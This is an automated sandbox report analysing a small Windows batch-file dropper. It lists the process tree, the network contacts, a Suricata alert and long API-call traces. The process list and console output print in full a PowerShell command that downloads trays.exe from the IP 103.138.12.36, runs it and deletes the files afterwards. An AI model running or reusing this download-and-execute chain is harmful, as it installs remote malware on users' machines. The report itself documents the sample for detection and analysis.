Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 6, 2024, 4:52 p.m.	May 6, 2024, 4:56 p.m.

Size	369.0B
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`9c376684de141d140fdb7b3b070daef1`
SHA256	`32b1958fce1716d07a38c102dae7107c49d70526f438a5183a13193c8c64b8ed`
CRC32	`72605FFC`
ssdeep	`6:pLXjYSz98qb0OzV7CZFm9fETED39fLHm3T39fLHmLyL39fLHmLzL3jjIL3+k33:lTR8077KFg2EFL4VLEytLEzih`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "RoZi" C:\Users\test22\AppData\Local\Temp\1.bat
2564
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\1.bat
  2660
  - cmd.exe cmd.exe /c echo powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"
    2748
  - powershell.exe powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"
    2804

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
103.138.12.36	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49167 -> 103.138.12.36:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 6, 2024, 4:52 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 6, 2024, 4:52 p.m.			0	0

Command line console output was observed (46 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: cmd.exe console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: /c echo powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: start "" "C:\trays.exe" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del "C:\trays.exe" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del "C:\Http.txt" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del "C:\Http.bat" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: copy console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.txt C:\Http.bat console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Http.bat console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: powershell console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: "" "C:\trays.exe" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: The system cannot find the file C:\trays.exe. console_handle: 0x0000000b	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: "C:\trays.exe" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: Could Not Find C:\trays.exe console_handle: 0x0000000b	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: "C:\Http.txt" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: del console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: "C:\Http.bat" console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: The batch file cannot be found. console_handle: 0x0000000b	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote server retur console_handle: 0x00000023	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: ned an error: (404) Not Found." console_handle: 0x0000002f	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: At line:1 char:47 console_handle: 0x0000003b	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: + (new-object System.Net.WebClient).DownloadFile <<<< ('http://103.138.12.36/tr console_handle: 0x00000047	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: ays.exe', 'C:\trays.exe') console_handle: 0x00000053	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW May 6, 2024, 4:52 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e06a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0768 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0828 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0828 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 6, 2024, 4:52 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002e0b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 6, 2024, 4:52 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://103.138.12.36/trays.exe

Performs some HTTP requests (1 event)

request

GET http://103.138.12.36/trays.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 148 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02620000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02630000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0273a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02732000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02742000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02631000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02632000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02743000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02744000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0277b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02777000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0273b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02762000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02775000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02745000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02746000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0277c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02763000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02764000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02765000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02766000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02767000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02768000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02769000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
